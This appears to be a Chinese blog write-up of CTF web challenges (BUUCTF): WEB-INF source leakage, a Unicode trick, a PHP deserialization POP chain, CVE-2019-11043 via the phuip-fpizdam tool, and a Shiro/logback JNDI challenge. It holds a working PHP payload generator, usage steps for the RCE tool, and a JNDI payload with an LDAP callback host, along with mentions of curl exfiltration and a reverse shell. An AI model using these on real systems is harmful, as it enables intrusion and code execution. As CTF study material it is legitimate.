buu刷题第四周

javaweb

WEB-INF主要包含一下文件或目录:
    /WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
    /WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
    /WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
    /WEB-INF/src/:源码目录,按照包名结构放置各个java文件
    /WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,获得class文件,在通过反编译class文件,得到网站源码 

[ASIS 2019]Unicorn shop

在这里插入图片描述在这里插入图片描述在这里插入图片描述看wp说是utf-8安全问题,文章

囊括一下就是,UTF-8编码集外无法处理为ASCII会转换为Unicode

钓鱼那会比如apple.com欺骗为аррӏе.com

id=4
在这个网站找到一个转换后unicode比较大的字符,我找到的是这个
https://unicode-table.com/cn/10155/
%F0%90%85%95 𐅕

[RoarCTF 2019]Easy Java

java web源码泄露
在这里插入图片描述点击help后跳转一个链接,这是一个IO异常
在这里插入图片描述看url是一个下载,没有思路了,wp说改POST,下载到了help.docx
在这里插入图片描述有前面的知识铺垫,我们获取web.xml
在这里插入图片描述在这里插入图片描述下载到FlagController.class
在这里插入图片描述

[MRCTF2020]Ezpop

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

flag在flag.php内,看一下有没有file()或者file_get_contents(),没有,但是有include(),这里看到Modifier类,那么直接设置变量var

$var=php://filter/read=convert.base64-encode/resource=flag.php

__invoke方法,函数形式调用对象会触发
继续往下看
show类,__construct方法设置file变量的值,有__toString方法
返回str->source
__wake方法不能有被匹配到
Test类,__get方法,获取不存在的属性或受限的属性,同时返回一个函数

思路就有了:让include包含flag,invoke去调用include函数,也就是让__get方法处理Modifier的对象 $s->str=
$t
,即p指向Modifier对象 $t->p=$m
让source等于对象 $ss->source=$s,触发__toString方法,输出内容

<?php
class Modifier
{
    protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
}


class Show
{

    public $source;

    public $str;
}

class Test
{
    public $p;
}

$m = new Modifier();
$t = new Test();
$s = new Show();
$ss = new Show();

$t->p = $m;
$s->str = $t;
$ss->source = $s;

echo urlencode(serialize($ss));

CVE-2019-11043

安装go环境,https://golang.google.cn/dl/
tar -xzf go.tar.gz -c /usr/local
配置go环境变量
export PATH=$PATH:/usr/local/go/bin
使之生效 source /etc/profile
检查go环境:go version
安装漏洞检测工具
git clone https://github.com/neex/phuip-fpizdam
cd /phuip-fpizdam
go install phuip-fpizdam//可能因为网络原因下载不成功
设置一下go的代理
go env -w GOPROXY=https://goproxy.cn
go install phuip-fpizdam
报一些环境问题的可以再试试

export GOBIN=$GOPATH/bin
export PATH=$PATH:$GOBIN

使用:

./phuip-fpizdam url/index.php

利用可能不成功,多试一试上面的语句,成功如图
在这里插入图片描述
最后在 …/index.php?a=ls 同样,多执行几次

[红明谷CTF 2021]JavaWeb

/login,post账号密码,发现rememberme,shiro典型特征,fuzz一下默认key,无果
在这里插入图片描述

vulhub刷过shiro的权限绕过,/;/json==>/json
在这里插入图片描述进一步,查阅发现,springboot对浏览器的请求返回html的报错信息如上图,除此之外返回json格式报错,报错信息更加详细,而识别浏览器与否是根据请求包的Accept识别的,删除该字段或者修改值为 *\*;还可以删除User-Agent字段(随便改改发现的)

在这里插入图片描述没有请求体
在这里插入图片描述
json接口

json反序列化

[
	"ch.qos.logback.core.db.JNDIConnectionSource",{	
"jndiLocation":"ldap://xxx:1389/Exp"
}
]

在这里插入图片描述
一开始是curl外带的,但是发现有乱码,后续弹shell后发现目标文件是对的,那应该就是编码问题
在这里插入图片描述随后干脆弹shell

在这里插入图片描述在这里插入图片描述

在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值